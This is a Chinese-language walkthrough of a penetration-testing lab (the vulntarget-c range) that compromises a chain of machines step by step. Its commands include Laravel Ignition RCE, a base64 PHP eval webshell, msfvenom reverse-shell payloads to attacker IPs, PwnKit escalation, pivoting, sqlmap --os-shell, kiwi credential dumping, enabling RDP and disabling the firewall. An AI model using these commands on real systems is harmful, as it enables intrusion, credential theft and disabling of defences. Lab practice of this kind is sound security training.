vulntarget-c靶场内网渗透

1. 环境搭建

2.对ubuntu20的渗透

 对其进行端口扫描

访问80端口

发现是laravel框架。版本是v8.78.1

使用 kaili 自带的msf 进行渗透

search laravel

use exploit/multi/php/ignition_laravel_debug_rce

执行利用完成检测

上传木马

先将木马进行base64编码

<?php @eval($_POST[1]); ?>
PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4=

上传

echo "PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4="|base64 -d >shell.php

访问看是否成功

使用蚁剑连接

使用msf上线

生成msf木马

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.16.6.45 LPORT=4444 -f elf -o /home/kali/Desktop/ttt.elf

将木马放入Ubuntu20的webshell中

msf设置监听

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
show options 
exploit

进行提权

使用msf自带工具，收集可以用于提权的模块

run post/multi/recon/local_exploit_suggester

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session
exploit

添加代理

建立路由

run autoroute -p     #查看路由信息
run post/multi/manage/autoroute  #⾃动添加路由

添加socks代理

use auxiliary/server/socks_proxy

信息收集

ip a

上传fscan 进行扫描

upload /home/kali/Desktop/fscan.exe /tmp

./fscan -h 10.0.20.0/24 -np -no -nopoc

3.内网机器渗透

发现主机：10.0.20.100，开放有80端口

登录后台，尝试弱口令，admin/admin123

发现sql注入

sqlmap检测

proxychains sqlmap -u "http://10.0.20.100/admin/?page=appointments/view_details&id=6" -p id --batch

使用sqlmap获取shell

绝对路径

proxychains sqlmap -u "http://10.0.20.100/admin/?page=appointments/view_details&id=6" -p id --os-shell

写入webshell

msf上线

使用免杀

生成msf木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.20.141 LPORT=4444 -f py -o shellcode_64.py

设置监听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.0.20.141
run

信息收集

arp -a

发现10.0.10.100

利用kiwi模块抓取hash

load kiwi
creds_all

解密：https://www.somd5.com/

rdp连接

开启3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

关闭防火墙

netsh advfirewall set allprofiles state off

远程连接

4. 第二层内网渗透

查找到账号密码

用户：vulntarget
密码：vuln@qwe

利用sudo提权

sudo -l     
sudo su